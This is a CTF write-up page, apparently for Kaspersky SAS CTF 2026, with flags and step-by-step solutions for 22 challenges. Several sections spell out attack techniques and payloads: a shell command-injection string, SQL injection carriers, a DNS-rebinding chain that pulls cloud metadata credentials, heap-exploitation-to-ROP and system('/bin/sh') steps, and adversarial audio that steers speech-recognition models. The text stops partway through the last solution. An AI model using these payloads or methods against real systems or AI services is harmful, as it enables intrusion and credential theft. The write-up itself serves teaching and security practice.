/writeups / kaspersky-sas-ctf-2026

Kaspersky SAS CTF 2026

Twenty-two solved challenges across seven categories. Each record has the flag, the actual bug, the commands in the order that mattered, and what proved the answer.

22 solves / 7 categories / August 2026

back to write-ups

Contents

  1. Cold DIH
  2. Censored
  3. Shiny sweetie curve
  4. Toffifee
  5. Ping Pong Show
  6. Ryan Guzling
  7. Time to Install Arch
  8. Fluffy Transform
  9. Good pineapple
  10. queue
  11. One Last Babuin
  12. RUSTyapa
  13. SlopGate
  14. SunHua Gate
  15. biblocker
  16. Cimple
  17. wasmsafe
  18. Yet another malware
  19. Canary
  20. Frontrooms
  21. Garden
  22. SKUDik
All 22 flags
CategoryChallengeFlag
AICold DIHkaspersky{d0ct0r_d0nt_t3ll_m3_that_my_illn3ss_is_c0ld_dih}
CryptoCensoredkaspersky{N0w_4ll_tH3_4nsW3rs_4r3_1n_y0ur_h4nds!!!!}
CryptoShiny sweetie curvekaspersky{g4mbl1ng_1s_b4d_t4k3_c4r3_0f_y0urs3lf}
CryptoToffifeekaspersky{a_s0und_pr00f_0f_an_uns0und_guest}
ForensicsPing Pong Showkaspersky{why_1s_th3r3_4_p1n9_p0n9_g4m3_4r3_u_j0kin9_m3}
ForensicsRyan Guzlingkaspersky{1_th1nk_1t5_b3tt3r_t0_wr1t3_th3_k3y_0n_p4p3r}
ForensicsTime to Install Archkaspersky{gR34sY_ch4nn3l_n0t_s0_sL1ck}
MiscFluffy Transformkaspersky{p4ws_1n_th3_sp3ctrum}
MiscGood pineapplekaspersky{g3t_h1dd3n_b4d_4ppl3d_676767}
Miscqueuekaspersky{9c974f24-1ec2-4d47-b32e-11fd9b961eda}
PwnOne Last Babuinkaspersky{L00ks_l1k3_th3_r0b0t_m4n4g3d_t0_wr1t3_4_symph0ny...But_wh4t_ab0ut_y0u?}
PwnRUSTyapakaspersky{n0b0dy_1s_p3rf3ct_4nd_3v3n_th3_c0mp1l3r_c4n_m4k3_m1s74k35}
PwnSlopGatekaspersky{I_th1nk_w3_b0th_g0t_dumb3r_wh1l3_s0lvin6_this_t4sk}
PwnSunHua Gatekasperky{but_1t_c4tch3s_4ll_th3_3xcept10n5_4nd_n3v3r_f4ll}
Reversebiblockerkaspersky{s1gn4l5_pr0v1d3d_tPm_k1nd4_sus}
ReverseCimplekaspersky{1s_c1mpl3_s1mple_3n0ugh_1ab7d0159a87f}
Reversewasmsafekaspersky{w4sm_3lectrif1ed_7d19ae15}
ReverseYet another malwarekaspersky{d0_y0u_l1k3_th1s3_p4st4?}
WebCanarykaspersky{5688e9f664a7fa9bce6bbe8414ee6423}
WebFrontroomskaspersky{w0w_l00ks_s0_pr0pr13t4ry_1_l0v3_th4t}
WebGardenkaspersky{0ld_s4mur4i_w0u1d_b3_pr0u6}
WebSKUDikkaspersky{c32fccdd-762a-4321-8337-163c9b67325f}

AI / challenge API

Cold DIH

Solved and accepted by the challenge API

flag kaspersky{d0ct0r_d0nt_t3ll_m3_that_my_illn3ss_is_c0ld_dih}

What the server checked

Three speech checks ran over the submitted audio. One file had to produce the exact target text through the challenge PCM16 path, through its Opus path, and through a second speech model. Ordinary audio editing moved all three at once, so the solve came down to tiny sample changes with every output rechecked after each one.

Solve path

  1. Inspect the candidate audio without touching it.

    ffprobe -hide_banner -show_streams -show_format candidate.flac
    sha256sum candidate.flac

    ffprobe reports codec, sample rate, channels, duration and container metadata. sha256sum gives the file a stable identity so a later test cannot quietly use a different version.

  2. Produce the same codec forms the server uses.

    ffmpeg -y -i candidate.flac -ac 1 -ar 16000 -c:a pcm_s16le candidate.wav
    ffmpeg -y -i candidate.flac -ac 1 -ar 48000 -c:a libopus -b:a 64k candidate.opus

    Mono, 16 kHz, signed 16-bit PCM for the first path and Opus for the second.

  3. Run both speech models against both paths and compare every token against the required transcript. The first optimization pass pushed the Whisper token margins while leaving the other model alone. It got to 20 of 21 exact tokens.

  4. Change half of one least significant bit across a balanced group of samples. That was the smallest change that flipped the last word, Look, without disturbing the other transcripts.

  5. Re-encode and reload both models twice. Clean reloads matter, because cached model state can hide an unstable result.

  6. Submit the final FLAC. The response came back solved: true with the flag.

Verification

The accepted file was cold-dih-solved.flac at 176,430 bytes. The source note records two clean model reloads and the accepted server response.

back to contents

CRYPTO / live signing service

Censored

Solved twice against fresh sessions

flag kaspersky{N0w_4ll_tH3_4nsW3rs_4r3_1n_y0ur_h4nds!!!!}

The bug

The service signed with Schnorr, and its diagnostic output leaked a narrow interval containing each supposedly secret nonce. Partial nonce knowledge is enough to recover a Schnorr private key.

Solve path

  1. Identify and unpack the archive.

    sha256sum censoredcrypt_254b06c618983c7f.tar.gz
    tar -tzf censoredcrypt_254b06c618983c7f.tar.gz
    tar -xzf censoredcrypt_254b06c618983c7f.tar.gz

    tar -t lists without extracting, so nothing lands on disk before it is checked.

  2. Read the signing code and write the Schnorr relation for each sample.

    s_i = k_i + e_i * x mod q

    s_i is the response, k_i the nonce, e_i the challenge hash, x the private key, q the group order.

  3. Query 36 signatures. For each, use the public calibration value and the commitment to undo the XOR masks on the 18-bit diagnostic path. Every leak becomes an interval for k_i.

  4. Turn the 36 interval equations into a Hidden Number Problem lattice, then solve with LLL plus nearest-plane CVP.

    python3 solve.py --samples 36

    The solver collects samples, builds the lattice, reduces, finds the nearest lattice point and reconstructs x.

  5. Check the recovered key before spending it.

    x * G == public_key
  6. Sign the required message with a fresh nonce and send it to SUBMIT. The service returned ok: true and the flag.

Verification

A local synthetic test recovered a random 256-bit key exactly first. Two separate live sessions then each used 36 signatures, recovered a key matching the new public key, and returned the same flag.

back to contents

CRYPTO / riffle-royale

Shiny sweetie curve

Accepted by the live challenge in 1.761 seconds

flag kaspersky{g4mbl1ng_1s_b4d_t4k3_c4r3_0f_y0urs3lf}

The idea

The server mixed two seven-value elliptic curve x-coordinate orbits with a stable riffle. The task was to recover the hidden curve and predict the x-coordinate at N = 2^32 + 1609.

Solve path

  1. Verify and unpack the source.

    sha256sum static_c9fafffc59a47009.tar.gz
    tar -xzf static_c9fafffc59a47009.tar.gz
  2. Enumerate the 1,716 partitions that place sample 0 in the first lane. That reduces the stable riffle to testing two candidate seven-value sequences.

  3. For adjacent x-coordinates, build the quadratic relation D[i](r) in r = x(Q). Eliminate the curve coefficients with resultants, and the common integer factor exposes the field prime p.

  4. Take a polynomial GCD modulo p to recover r, then solve the remaining linear equations for a and b.

  5. Lift x-coordinates to curve points and test both y signs. Reject a partition unless every step advances by the same point Q.

  6. Compute the target with ordinary double-and-add, then post the slot-0 value.

    3640664708522543359821365990389028278237346416127972626696953157794817140660

Verification

The solver was tested on a synthetic curve first. An independent review checked the resultant, the modular GCD and the curve recovery. The single orientation assumption was then confirmed by the server source and the accepted live result.

back to contents

CRYPTO / SP1 prover 6.5.0

Toffifee

Solved with a locally verified SP1 proof

flag kaspersky{a_s0und_pr00f_0f_an_uns0und_guest}

The bug

The verifier kept its visible Toffoli gate counter in state slot 256, but reset only slots 0 through 255 before applying circuit initializers. Map a 257th wire onto slot 256 and an initializer can zero the counter after the circuit has already used real Toffoli gates.

Solve path

  1. Verify the inputs and read the guest binary statically.

    sha256sum challenge.tar.gz guest.elf
    readelf -h guest.elf
    readelf -s guest.elf | less

    -s lists symbols, which is how the reset, the initializer, the gate evaluator and the committed values were found.

  2. Reconstruct the state layout. Confirm that opcode 2 increments slot 256, that the reset loop stops before slot 256, and that initializers run after it.

  3. Build an AES S-box with the 32-AND Boyar-Peralta network. Map 258 unique wires and add a zero initializer for the wire aliased onto slot 256.

    python3 build_circuit.py --output final.circuit
    sha256sum final.circuit

    The final circuit was 3,748 bytes.

  4. Test all 256 byte inputs against the real S-box truth table. The same run confirms 32 physical Toffoli gates but a verifier-visible count of zero.

    python3 test_circuit.py final.circuit
  5. Generate the proof and verify it locally before going anywhere near the live endpoint.

    ./prove guest.elf final.circuit > proof.bin
    ./verify guest.elf proof.bin

    The accepted proof was 1,272,613 bytes with committed Toffoli count 0.

  6. Send the locally verified proof to /submit. It returned the flag.

Dead end worth knowing

The first emulator reset too much state, which hid the bug entirely and produced an honest count of 32. Matching the guest's capped reset exactly was the whole trick.

back to contents

FORENSICS / memory image plus UDP service

Ping Pong Show

Solved with a protocol-faithful game client

flag kaspersky{why_1s_th3r3_4_p1n9_p0n9_g4m3_4r3_u_j0kin9_m3}

The chain

The memory image held an Outlook attachment called inquiry.js. That script decrypted and decompressed a loader, the loader injected a Havoc Demon into acrobat.exe, and a later command pulled a second stage Ping Pong client that spoke a small UDP protocol named PPG1.

Solve path

  1. Verify and extract the memory image, then get your bearings in it.

    7z x ram_013bc3c6203989de.7z
    python3 vol.py -f ram.bin windows.info
    python3 vol.py -f ram.bin windows.pslist

    windows.info identifies Windows 10 x64 build 19041. windows.pslist confirmed the injected Acrobat process.

  2. Reconstruct the PST message and its attachment. Base64-decode the blob, decrypt it with the recovered RC4 key, then LZNT1-decompress.

  3. Reverse the loader and the Demon configuration. The first C2 was useful evidence but not the flag. That address and acrobat.exe were both submitted early as guesses and later retracted.

  4. Decode command 0xA14 from the captured traffic. It downloaded the real game client.

  5. Reverse the PPG1 messages and write a clean UDP client that follows the state machine, plays to a 6-5 win, and waits for a type-5 GameEnd packet with outcome 1.

    python3 pingpong_client.py SERVER_IP SERVER_PORT

    This client speaks the protocol. It does not run the malware.

  6. Parse the returned packet. It began with PPG1, declared a 56-byte message, and carried exactly 56 message bytes with no trailing payload.

Verification

The victory packet was hashed and kept as evidence, and the server-issued victory text was the flag.

back to contents

FORENSICS / 11.6 GB disk image set

Ryan Guzling

Solved from the disk images through to the linked content

flag kaspersky{1_th1nk_1t5_b3tt3r_t0_wr1t3_th3_k3y_0n_p4p3r}

The chain

Two halves of an Apple Fusion Drive plus a small trash image. The trash image held a FileVault recovery key, the decrypted Fusion Drive held a second encrypted sparsebundle, and that eventually pointed at a video URL whose public page metadata carried the flag.

Solve path

  1. Verify and inventory the archive before extracting 11.6 GB of it.

    7z l guz_5d74556b5147018c.zip
    7z x guz_5d74556b5147018c.zip -oimages

    7z l lists without extracting. 7z x preserves paths.

  2. Search the trash image for printable recovery material.

    strings -a -n 8 images/trash.dd | less

    -a scans the whole image, -n 8 drops short noise. This produced the FileVault recovery key.

  3. Reconstruct the Fusion Drive, ssd.dd first and hdd.dd second at physical offset 209735680, read-only. Current libfvde assumed the 0x0305 tree, so the virtual address parser had to be taught the newer 0x0304 records.

  4. Mount the decrypted HFS+ volume read-only and read the stashed password.

    mount -o ro /dev/mapper/fusion-decrypted /mnt/fusion
    cat /mnt/fusion/usr/local/.pass

    -o ro keeps the evidence unchanged.

  5. Open hranilka.sparsebundle with that password, again read-only. Its .secret.txt contained the video URL.

  6. Fetch the public watch page with no login and read videoDetails.shortDescription. The flag appeared six times, every occurrence identical.

Verification

The final assertion checked archive size and digest, the FileVault key, the inner filesystem, the .secret.txt URL, the video title, and one unique flag value.

back to contents

FORENSICS / PCAP, VMDK, malware sample

Time to Install Arch

Solved from a fresh raw-PCAP decode

flag kaspersky{gR34sY_ch4nn3l_n0t_s0_sL1ck}

What was hidden

The malware used TLS GREASE fields as a covert channel. Client and server used related counters, but the flag traveled in the server-to-client half. Client-side output like whoami was only command output, which is an easy place to stop too early.

Solve path

  1. Verify the evidence before parsing or mounting anything.

    sha256sum traffic.pcap disk.vmdk malware.exe
    file traffic.pcap disk.vmdk malware.exe

    file identifies each format without executing it.

  2. Pull the handshake fields and GREASE values out of the capture.

    tshark -r traffic.pcap -Y "tls.handshake" -T fields \
      -e frame.number -e ip.src -e ip.dst -e tls.handshake.session_id > handshakes.tsv

    Keeping frame numbers lets decoded bytes be tied back to original packets.

  3. Reverse the stream cipher. It used a fixed key with a custom ChaCha constant, the first 12 session-ID bytes as the nonce, a client counter of twice the little-endian final four bytes, and a server counter of that plus one.

  4. Validate the implementation against a known internal block. Counter 0 with the known nonce had to reproduce the observed 64-byte keystream block before decoding anything else.

  5. Decode both directions independently. Server counters 446, 447 and 448 were type-2 data records, counter 449 was the type-5 terminator.

  6. Join the server records in counter order. Frames 257486, 257563 and 257679 carried the three flag pieces.

Verification

The decode was rerun from the raw PCAP. The exact frames rebuilt the flag and the following frame held the expected terminator, which beats trusting a string carved out of memory.

back to contents

MISC / 21 second WAV

Fluffy Transform

Solved and deterministically decoded

flag kaspersky{p4ws_1n_th3_sp3ctrum}

Signal layout

Three amplitude-modulated carriers sit near 997 Hz, 2203 Hz and 4211 Hz. Their amplitudes form a moving three-dimensional vector: the movement draws a cat, and the timing of the movement carries Morse.

Solve path

  1. Inspect the audio. It is mono 48 kHz signed 16-bit PCM, 21.025 seconds, 1,009,200 samples.

    ffprobe -hide_banner challenge_f25cea1608c1e224.wav
  2. Look at the spectrum. Odd harmonics give away the 2203 Hz square carrier and the 4211 Hz triangle carrier.

    sox challenge_f25cea1608c1e224.wav -n stat -freq
  3. Split into 1,200-sample windows. At 48 kHz that is 25 ms per window, giving 841 positions and 840 movements.

  4. Run a Hann-window matched filter at all three carrier frequencies, normalize the amplitudes, and take the distance between adjacent vectors.

  5. Call any distance above 0.008 a movement. The data left a safe gap: largest hold was 0.006793, smallest movement was 0.009778.

  6. Run-length decode the movement states.

    movement 4 frames  = dot
    movement 10 frames = dash
    hold 2 frames      = gap inside a character
    hold 8 frames      = next character
    hold 20 frames     = long boundary
  7. Decode the Morse.

    .--. ....- .-- ... ..--.- .---- -. ..--.- - .... ...-- ..--.- ... .--. ...-- -.-. - .-. ..- --

    It spells P4WS_1N_TH3_SP3CTRUM. Morse carries no case, so the wrapped flag follows the event's lowercase style.

Verification

A deterministic verifier checked metadata, sample count, carrier extraction, allowed run lengths, Morse output and the wrapped flag, then exited 0.

back to contents

MISC / 62 MB MKV, 6,572 frames

Good pineapple

Recovered from a complete video scan

flag kaspersky{g3t_h1dd3n_b4d_4ppl3d_676767}

The carrier

The MKV looks like a black and white Bad Apple video. The secret was not in color channels or ordinary bit planes. It was written as short glyphs in a stereoscopic disparity plane, spread across time.

Solve path

  1. Verify and inventory the container. One grayscale FFV1 video stream, one Opus audio stream, no useful attachment or extra data stream.

    ffprobe -v error -show_streams -show_format -show_chapters challenge.mkv
  2. Check pixel values and bit planes. Every pixel was exactly 0 or 255, so all eight bit planes were identical. That rules out normal least significant bit hiding immediately.

  3. Treat the video as a cube of x, y and frame number. Scan horizontal and vertical slices through time instead of looking at single frames.

  4. Compare the two horizontal disparity planes, which sat 12 pixels apart. Subtract the matching Bad Apple silhouette so only transient differences survive.

  5. Scan all 6,572 frames. That exposed 39 one-frame glyphs. Keep the vertical pixels around every separator, otherwise a low underscore reads as a centered hyphen.

  6. Join the glyphs in frame order. The first reading used hyphens and was rejected. A full rescan showed four separator strokes whose cropped shape was ambiguous, and both the rejection and the baseline position support underscores.

Honest caveat

The full scan found no extra glyph, and the retained proof includes a glyph contact sheet and a JSON frame map. Scoreboard acceptance of this corrected form was never captured independently, so this is the fully recovered candidate rather than a receipted flag.

back to contents

MISC / live TLS menu service

queue

Solved twice against the live service

flag kaspersky{9c974f24-1ec2-4d47-b32e-11fd9b961eda}

The bug

The app tried to protect the dangerous function name base_task, but ARQ also registered the same function under the dotted name tasks.base_task. The sanitizer compared only the exact short string, so the dotted alias walked straight past it into a shell command built with os.popen.

Solve path

  1. Verify and read the source. It showed ARQ 0.26.3, Redis tasks and a setuid /readflag helper.

    unzip -l queue_0aef23f13a7da4affd2a88364c152261.zip
    unzip queue_0aef23f13a7da4affd2a88364c152261.zip -d queue-src
  2. Find the unsafe command and the sanitizer next to it.

    rg -n "base_task|os\.popen|allowed" queue-src

    base_task built a command shaped like echo {arg} | base64.

  3. Start the worker with the alias tasks.base_task. ARQ resolves the dotted import to the same coroutine but keeps the dotted registered name.

  4. Run that function with this argument.

    x; /readflag please; #

    The semicolon ends the intended echo, /readflag please runs the helper, and # comments out the trailing | base64 so the flag prints raw.

  5. Connect to the live TLS menu and repeat it.

    openssl s_client -quiet -connect HOST:PORT

    In the menu: 1 to register ["tasks.base_task"], 2 to select it, then send the injection string.

Verification

Same flag returned twice. A local reproduction with the supplied ARQ and Redis versions returned a dummy flag first, which proved the chain before touching the live service.

back to contents

PWN / C++ interpreter

One Last Babuin

Solved against the live service

flag kaspersky{L00ks_l1k3_th3_r0b0t_m4n4g3d_t0_wr1t3_4_symph0ny...But_wh4t_ab0ut_y0u?}

The bug

Vector compaction left an index that could write past the live heap object. That write poisoned tcache, which gave controlled allocations, which built a ROP chain that read the flag file.

Solve path

  1. Verify and inspect the archive.

    tar -xzf one_last_babuin_a693b3e91db2b6c0.tar.gz
    checksec --file=babuin

    checksec summarizes protections without running anything.

  2. Read the interpreter parser and reproduce the vector compaction sequence locally. Free enough 0x400-class chunks to populate tcache, then trigger the stale index.

  3. Trace the real freed 400-byte tcache chain. A nearest-A heuristic broke on some heap layouts, so the solver followed allocator forward pointers and picked the actual reclaim target.

  4. Use the out-of-bounds write to replace a tcache forward pointer. The next controlled allocations overlap the interpreter object and disclose heap, PIE and stack values.

  5. Calibrate against the remote layout. What worked remotely:

    PIE base    = qword(0x12d0) - 0x2a83a0
    tcache head = qword(0x12f0) + 0x171a0
    stack slot  = qword(0x1f08) + 0x740
  6. Build a ROP chain that opens and reads the flag file and writes it back to the connection. Regenerate the payload if an address introduces a newline byte, because the interpreter treats newline as end of input.

Verification

The remote response contained the exact flag. The TCP handle was closed and the session list was empty afterwards.

back to contents

PWN / optimized safe Rust

RUSTyapa

Solved on remote attempt 24

flag kaspersky{n0b0dy_1s_p3rf3ct_4nd_3v3n_th3_c0mp1l3r_c4n_m4k3_m1s74k35}

The bug

Optimized safe Rust kept stale Vec metadata around. The program could use and free the same allocation through conflicting table records. Tcache poisoning then produced forged Record and Table objects, and those became an arbitrary read and write primitive.

Solve path

  1. Verify and unpack. Full RELRO, NX, PIE, no canary, symbols intact.

    tar -xzf rustyapa_77887986df09ee05.tar.gz
    checksec --file=rustyapa
  2. Compare the Rust source against optimized assembly and follow pointer, length and capacity across insert, compact and delete. The stale metadata gives a use-after-free followed by a double free.

  3. Poison the right tcache bin and allocate forged objects. Point their fields at chosen addresses so ordinary table operations become reads and writes.

  4. Leak libc and its environ symbol. environ points into the current stack, which locates the saved return address.

  5. Account for the remote launcher: its main frame sat 16 bytes off the direct local layout. The offsets that worked, relative to environ:

    tables capacity: -0x320
    tables pointer:  -0x318
    tables length:   -0x310
    saved return:    -0x270
  6. Write a libc ROP chain over the saved return address and ask for the flag.

    Accumulate received chunks until the expected delimiter shows up. A successful socket read on its own does not prove the delimiter arrived, which cost several attempts.

Verification

Attempt 24 resolved libc, printed the flag, then printed the completion marker. Persisted evidence confirmed the marker and zero open sessions.

back to contents

PWN / custom QEMU PCI device

SlopGate

Solved against the live service

flag kaspersky{I_th1nk_w3_b0th_g0t_dumb3r_wh1l3_s0lvin6_this_t4sk}

The bug

The device allowed response DMA into its own memory-mapped BAR. A response tag of zero reentered MMIO handling and freed the active 192-byte request while the original handler was still using it. Reclaiming that chunk as a profile context turned it into a host memory primitive.

Solve path

  1. Build the supplied image with a dummy flag and boot it in isolation. Prove the guest can map the PCI BAR, then submit one request whose response buffer points back into the BAR status register.

  2. Set response tag zero so the nested status write frees the active request. Use PROFILE_COMMAND_REBUILD on a different scratch profile so its 192-byte context reclaims the same chunk.

  3. Finish the original request. Its stale pointer now reaches the profile context, giving a one-byte host XOR primitive and a profile-pointer leak through statistics.

  4. Forge a reader profile to leak QEMUBH, then subtract the known symbol offset for the QEMU PIE base.

  5. Put the read command in a profile context and use PROFILE_COMMAND_SNAPSHOT to replace the bottom-half callback and the opaque pointer atomically. Individual byte writes lost the race because the worker can run between them.

  6. Build the guest exploit, then run the launcher. It solves the Hashcash prompt, uploads the base64-encoded guest binary, runs it, waits for the host trigger and prints the returned flag.

    gcc -O2 -static -o slopgate-solve slopgate-solve.c
    python3 slopgate-pwn-run.py HOST PORT ./slopgate-solve

    -static avoids depending on guest libraries.

Verification

The local image returned a dummy test value first, which is not an event flag. The live service then returned the flag above.

back to contents

PWN / C++ firmware service

SunHua Gate

Solved with a shell as uid 1000

flag kasperky{but_1t_c4tch3s_4ll_th3_3xcept10n5_4nd_n3v3r_f4ll}

Spelling

The flag really is kasperky{...} with no s in the middle. Do not correct it.

The bug

cyclic_vector<double>::resize moved its logical border before resizing the backing vector. If the allocation threw std::bad_alloc, the small backing allocation survived while the logical bounds stayed huge. A separate destructor bug leaked large TDDJ vectors, which made controlled exhaustion practical.

Solve path

  1. Verify and unpack. Full RELRO, canary, NX, PIE.

    tar -xzf sunhua_da2a7fa7d4bdad6a.tar.gz
    checksec --file=firmware/sunhuagate
  2. Allocate and delete TDDJ devices repeatedly. The derived destructor frees only the base object and leaks the large vector buffer.

  3. Resize a live cyclic vector to 16,384 doubles until allocation fails. Locally that was allocation 195 under a 32 MB limit, remotely it was allocation 826.

  4. After the exception, feed malformed floating point tokens to advance the cyclic index without writing. The state viewer then reads past the real 16-element vector and leaks heap and PIE values.

  5. Use out-of-bounds writes to build a fake Device, a one-node field map and a fake dat field, then redirect a live device pointer at that structure.

  6. Point the fake field at the GOT entry for __isoc23_sscanf and read it for a libc address, then compute system from the known offsets for the supplied remote libc.

  7. Replace the fake aggregation callback with system, put /bin/sh at the start of the fake device, and open the dat settings field.

    id
    cat /sunhuagate/flag.txt
    exit

    id confirms the shell context, cat reads the flag, exit returns cleanly to the application.

Verification

The shell reported uid 1000 and returned the exact flag followed by the completion marker. The tube was closed and no sessions were left open.

back to contents

REVERSE / 30 KB x86-64 ELF

biblocker

Decrypted payload verified, then confirmed correct

flag kaspersky{s1gn4l5_pr0v1d3d_tPm_k1nd4_sus}

Solve path

  1. Inspect the ELF safely. Partial RELRO, NX, PIE, no stack canary.

    file biblocker_5d741069dd2afdda
    checksec --file=biblocker_5d741069dd2afdda
  2. Trace the password to key path. The program hashes the password with SHA-256, splits the 32-byte digest in half and XORs the halves into a 16-byte value.

  3. Follow the anti-debug path. A SIGSEGV handler generates a second 16-byte validation secret that normal control flow never exposes. Break before the AES call and read the key buffer.

    gdb -q ./biblocker_5d741069dd2afdda

    The debugger was used only inside an isolated analysis box.

  4. Combine that secret with the stored validation target for the AES-128 key. The IV is the ASCII string blablablablablab.

  5. Decrypt the embedded ciphertext.

    openssl enc -d -aes-128-cbc -K KEYHEX -iv IVHEX \
      -in payload.enc -out payload.bin

    -K and -iv take raw hex, so no password derivation happens.

  6. Check what came out, then search it.

    xxd -l 16 payload.bin
    strings -a payload.bin | rg 'kaspersky\{'

    The first four bytes were hsqs, the SquashFS magic. The flag sat inside that 4,096-byte image.

back to contents

REVERSE / Windows x64 single-file .NET host

Cimple

Accepted by the reconstructed checker

flag kaspersky{1s_c1mpl3_s1mple_3n0ugh_1ab7d0159a87f}

Layout

A native host with an embedded native DLL and an encrypted managed extension. Together they implement a custom VM and 16 independent three-byte checks.

Solve path

  1. Inspect the file without running it. Strings gave up CimpleNative.dll and seven suspicious export names.

    file CimpleManaged_ac9bc4e10212783b.exe
    strings -a -n 6 CimpleManaged_ac9bc4e10212783b.exe | less
  2. Locate the embedded PE headers and pull out the 49,523-byte native DLL. A normal binwalk extraction hit a reparse-point safety rejection, so the byte range was copied directly out of the host file.

  3. Reverse the native exports and the managed bootstrap. The bootstrap decrypts the VM extension, which exposes bytecode, constants and encrypted checker data.

  4. Reimplement the VM with explicit 32-bit wrapping.

    value = (value + operand) & 0xffffffff

    The mask is the whole game. PowerShell integer casts failed here because they do not reproduce modulo 2^32 arithmetic at every operation.

  5. Invert each of the 16 three-byte checker blocks. Each block had exactly one printable solution, so concatenating them gives the flag with no guessing.

  6. Run the candidate back through the reconstructed VM. It printed the original success message and exited 0.

back to contents

REVERSE / Electron AppImage

wasmsafe

Accepted by the unchanged challenge checker

flag kaspersky{w4sm_3lectrif1ed_7d19ae15}

Solve path

  1. Find every SquashFS signature instead of trusting the first hsqs hit. The first signature was decoy text, offset 188392 held the real filesystem.

    grep -aob 'hsqs' awasmsafe_b70b40963c94d668.AppImage
    unsquashfs -s -o 188392 awasmsafe_b70b40963c94d668.AppImage
    unsquashfs -no-progress -o 188392 -d squashfs-root awasmsafe_b70b40963c94d668.AppImage

    grep -aob prints byte offsets and unsquashfs -s validates a superblock without extracting.

  2. Extract the Electron resources.

    npx asar extract squashfs-root/resources/app.asar app
    find app -maxdepth 3 -type f -print
  3. Decompress the embedded WebAssembly and read the exported check_flag routine. It used a 36-byte target, a key derived from the browser fingerprint, a linear PRNG, then RC4.

    wasm2wat checker.wasm -o checker.wat
    rg -n "check_flag|memory|data" checker.wat app
  4. Reproduce the renderer's real fingerprint. Guessing Node globals failed, because anonymous Chromium functions stringify differently. Run the original renderer under a virtual display with the DevTools protocol exposed.

    xvfb-run -a squashfs-root/AppRun --no-sandbox --remote-debugging-port=9222
  5. Invert the PRNG and RC4 layers with the measured values, then call the original function in the unchanged renderer.

    window.checkFlag('kaspersky{w4sm_3lectrif1ed_7d19ae15}')

    It returned numeric 1, the challenge's success result.

back to contents

REVERSE / multi-stage Go malware

Yet another malware

Solved with static extraction and a clean protocol client

flag kaspersky{d0_y0u_l1k3_th1s3_p4st4?}

Safety rule

None of the supplied malware stages were executed. The archive was unpacked in isolation, every layer was decoded statically, and the final server protocol was reimplemented in clean Python.

Solve path

  1. Unpack the password-protected archive in an isolated box.

    7z x -pinfected yetanothermalware_e5edc404f6b42ad02320ab02a7bb7f3d.zip -omalware
  2. Reverse the loader, a Go 1.24.5 PE. It accepts password at its prompt, feeds it to scrypt with salt kek, N 32768, r 8, p 1, then uses the result as an AES-256-GCM key.

  3. Reimplement that decryptor. A valid GCM tag yields a Donut shellcode stage. Static Chaskey-CTR unpacking then recovers another Go PE, with no shellcode ever running.

  4. Reverse the inner C2 format: PNG tEXt chunks named X-Comment, Base64, and a custom arithmetic coder seeded from a 7,544-byte story corpus.

  5. Implement only the network codec in a clean client.

    python3 safe_c2_client.py register
    python3 safe_c2_client.py fetch

    register sends a synthetic agent with no host data. fetch downloads the PNG, pulls the comment chunk, decodes Base64 and runs the reconstructed arithmetic decoder.

  6. The first task disclosed a flag path. Fetch that path with the same safe client.

Verification

Two responses used different randomized PNG covers and decoded to the same plaintext.

back to contents

WEB / URL sandbox plus cloud metadata

Canary

Solved with two independent object reads

flag kaspersky{5688e9f664a7fa9bce6bbe8414ee6423}

The bug

The URL sandbox ran a browser that could be walked across same-origin destinations by DNS rebinding. A three-stage chain loaded attacker-controlled public content, rebound the same hostname to the private Canary service, then rebound it again to the cloud metadata service. The browser origin never changed, only the destination IP.

Solve path

  1. Inspect the application and its URL fetch behavior. The browser accepted a public URL and ran ordinary page JavaScript.

  2. Serve a page from a hostname with a very short DNS TTL. The DNS service answers with the public attacker page first, the private service second, and the metadata address third.

  3. From the public page, request the same hostname in a loop until the private response appears. Scheme, hostname and port never change, so the browser treats it as same-origin.

  4. Repeat for IMDSv2: request a session token, then the role name and temporary credentials.

    const token = await fetch('/latest/api/token', {
      method: 'PUT',
      headers: {'X-aws-ec2-metadata-token-ttl-seconds': '21600'}
    }).then(r => r.text());
  5. Use the temporary role only for permitted bucket discovery. Listing the deeper prefixes returned access errors, but listing the parent prefix exposed the object.

    aws s3api list-objects-v2 --bucket BUCKET --prefix reports/
    aws s3api get-object --bucket BUCKET --key KEY message.eml
  6. Read the 174-byte email and take its single flag.

Verification

Two independent SDKs downloaded identical bytes, matched on digest and ETag.

back to contents

WEB / three chained services

Frontrooms

Solved across ports 19080, 19090 and 19100

flag kaspersky{w0w_l00ks_s0_pr0pr13t4ry_1_l0v3_th4t}

Chain overview

The first port gave login and a Hermes-based camera bridge, and that bridge gave internal GET SSRF into a SQL-injectable directory. The second port exposed a CFB error oracle over an expired employee token. A repaired token bought a JWT that the third port accepted, where employee note 3 held the flag.

Solve path

  1. Authenticate to port 19080. The client supplied the RC4 challenge instead of the server, so challenge 0 with response yw== authenticates as admin.

    curl -i -X POST http://HOST:19080/login \
      -H 'Content-Type: application/json' \
      -d '{"username":"admin","challenge":"0","response":"yw=="}'
  2. In the camera Hermes runtime, repoint the internal route string during the XHR bridge callback. A reentrant timer fires while the pointer is being changed, producing an internal GET to the directory service.

  3. Use the five-column UNION injection in id to enumerate the internal service map, OAuth client metadata and private messages. Message 9 held an expired maintenance employee token.

  4. Send that token to port 19090. The service decrypts 16-byte CFB segments and leaks different base64 or JSON errors. Use those as an oracle to recover the plaintext.

    {"employee_id": 1, "issuer": "ext", "creation_date": "2022-02-24T00:00:00.123456789"}
  5. Repair the preceding ciphertext blocks so CFB decryption moves the date to now and changes employee_id from 1 to 3. Exchange the repaired token as OAuth client 1 for a JWT with sub: 3.

  6. Use that JWT on port 19100.

    curl -i http://HOST:19100/notes/3 -H 'Authorization: Bearer JWT_HERE'

Verification

A fresh authenticated request to the same note independently returned the same flag. No broad port scan was run.

back to contents

WEB / shogi web app

Garden

Solved with an exact match and a negative control

flag kaspersky{0ld_s4mur4i_w0u1d_b3_pr0u6}

The bug

The backend inserted a client-supplied shogi move straight into SQL. The cshogi parser only checked the first four characters of a pawn drop, so legal move text could carry a trailing SQL expression.

Solve path

  1. Verify and read the source.

    tar -xzf garden-299ddb5aaa0347e1.tar.gz
    rg -n "save_move_to_db|INSERT|cshogi|move" garden-src
  2. Make a pawn available for a legal drop by playing these moves in order. The promoted move captures a pawn, so P*7e becomes a legal drop and the parser accepts its first four characters.

    7g7f
    7f7e
    7e7d
    7d7c+
  3. Append the SQL carrier.

    P*7e' + json_extract('{}', (SELECT move FROM game_moves
      WHERE user_id='admin' ORDER BY id ASC LIMIT 1)) + '0

    The quote closes the original string and the subquery selects the first admin move. SQLite treats that value as a JSON path, and because the flag is not a valid path, json_extract raises an error containing it.

